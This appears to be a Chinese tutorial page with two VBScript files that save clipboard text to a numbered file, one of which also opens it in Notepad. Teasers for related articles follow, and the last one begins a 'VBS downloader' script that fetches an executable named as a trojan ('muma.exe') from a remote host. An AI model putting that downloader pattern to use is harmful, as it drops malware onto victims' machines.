vbs实现的保存剪贴板中的文本并编辑或保存

保存剪贴板中的文本.vbs

原理就是首先判断是否存在同名文件，存在就名字后面+1，然后将剪贴板的内容保存到自定义扩展名的文件里

set fso=createobject("scripting.filesystemobject") : name=1
Dim na
na=Inputbox("请输入拓展名:","拓展名","txt")
while fso.fileexists(name&"."&na)=true
name=name+1
wend
set o=fso.opentextfile(name&"."&na,2,true)
set hf=Createobject("htmlfile")
wind=hf.parentwindow.clipboarddata.getdata("text")
o.writeline wind : o.close

保存剪贴板中的文本并编辑.vbs

set fso=createobject("scripting.filesystemobject") : name=1
Dim na
na=Inputbox("请输入拓展名:","拓展名","txt")
while fso.fileexists(name&"."&na)=true
name=name+1
wend
set o=fso.opentextfile(name&"."&na,2,true)
set hf=Createobject("htmlfile")
wind=hf.parentwindow.clipboarddata.getdata("text")
o.writeline wind : o.close
createobject("wscript.shell").exec "notepad.exe "&name&"."&na&""

使用vbs脚本定时删除N天前的文件
脚本放在定时任务里代替服务定时执行一些操作比较方便，下面是实现删除文件夹下N天前创建的文件的vbs脚本，在配置文件DelFolderList.txt中配置要删除

vbs 定时删除功能实现代码
参考代码一：FunctionDeleteLog()DimobjFSO,objFolder,strPath,targetFSO,subFSO,DirPathDirPath=createobject("Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path&"Log"Set

VBS下载者(通过vbscript实现文件下载)
一、VBS下载者：SetPost=CreateObject("Msxml2.XMLHTTP")SetShell=CreateObject("Wscript.Shell")Post.Open"GET","http://www.jbzj.com/muma.exe",0Post.Send()SetaGet=CreateObject("ADODB.Stream")aGet.Mode